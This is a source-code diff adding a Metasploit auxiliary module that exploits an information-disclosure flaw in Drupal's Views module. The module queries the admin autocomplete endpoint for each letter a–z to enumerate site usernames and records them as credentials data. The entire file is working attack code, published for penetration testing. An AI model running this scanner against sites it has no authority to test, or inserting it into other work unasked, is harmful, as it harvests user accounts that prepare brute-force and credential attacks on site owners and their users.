Add Drupal 'Views' module username enumeration (Feature #6194)

modules/auxiliary/scanner/http/drupal_views_user_enum.rb

@@ -0,0 +1,116 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+	include Msf::Exploit::Remote::HttpClient
+	include Msf::Auxiliary::Report
+	include Msf::Auxiliary::Scanner
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'Drupal Views Module Users Enumeration',
+			'Description'    => %q{
+				This module exploits an information disclosure vulnerability in the 'Views'
+				module of Drupal, brute-forcing the first 10 usernames from 'a' to 'z'
+			},
+			'Author'         =>
+				[
+					'Justin Klein Keane', #Original Discovery
+					'Robin François <rof[at]navixia.com>'
+				],
+			'License'        => MSF_LICENSE,
+			'References'     =>
+				[
+					['URL', 'http://www.madirish.net/node/465'],
+				],
+			'DisclosureDate' => 'Jul 2 2010'
+		))
+
+		register_options(
+			[
+				OptString.new('URIPATH', [true, "Drupal Path", "/"]),
+			], self.class)
+	end
+
+	def check(base_uri)
+		res = send_request_cgi({
+			'uri'     => base_uri,
+			'method'  => 'GET',
+			'headers' => { 'Connection' => 'Close' }
+		}, 25)
+
+		if not res
+			return false
+		elsif res.message != 'OK' or res.body != '[  ]'
+			return false
+		else
+			return true
+		end
+	end
+
+	def run_host(ip)
+		# Make sure the URIPATH begins with '/'
+		if datastore['URIPATH'][0] != '/'
+			datastore['URIPATH'] = '/' + datastore['URIPATH']
+		end
+
+		# Make sure the URIPATH ends with /
+		if datastore['URIPATH'][-1] != '/'
+			datastore['URIPATH'] = datastore['URIPATH'] + '/'
+		end
+
+		enum_uri = datastore['URIPATH'] + "?q=admin/views/ajax/autocomplete/user/"
+
+		# Check if remote host is available or appears vulnerable
+		if not check(enum_uri)
+			print_error("#{ip} does not appera to be vulnerable, will not continue")
+			return
+		end
+
+		print_status("Begin enumerating users at #{ip}")
+
+		results = []
+		('a'..'z').each do |l|
+			vprint_status("Iterating on letter: #{l}")
+
+			res = send_request_cgi({
+				'uri'     => enum_uri+l,
+				'method'  => 'GET',
+				'headers' => { 'Connection' => 'Close' }
+			}, 25)
+
+			if (res and res.message == "OK")
+				user_list = res.body.scan(/\w+/)
+				if user_list.empty?
+					vprint_line("\tFound: Nothing")
+				else
+					vprint_line("\tFound: #{user_list.inspect}")
+					results << user_list
+				end
+			else
+				print_error("Unexpected results from server")
+				return
+			end	
+		end
+
+		final_results = results.flatten.uniq
+
+		print_status("Done. " + final_results.length.to_s + " usernames found...")
+
+		final_results.each do |user|
+			report_auth_info(
+				:host => Rex::Socket.getaddress(datastore['RHOST']),
+				:port => datastore['RPORT'],
+				:user => user,
+				:type => "drupal_user"
+			)
+		end
+	end
+end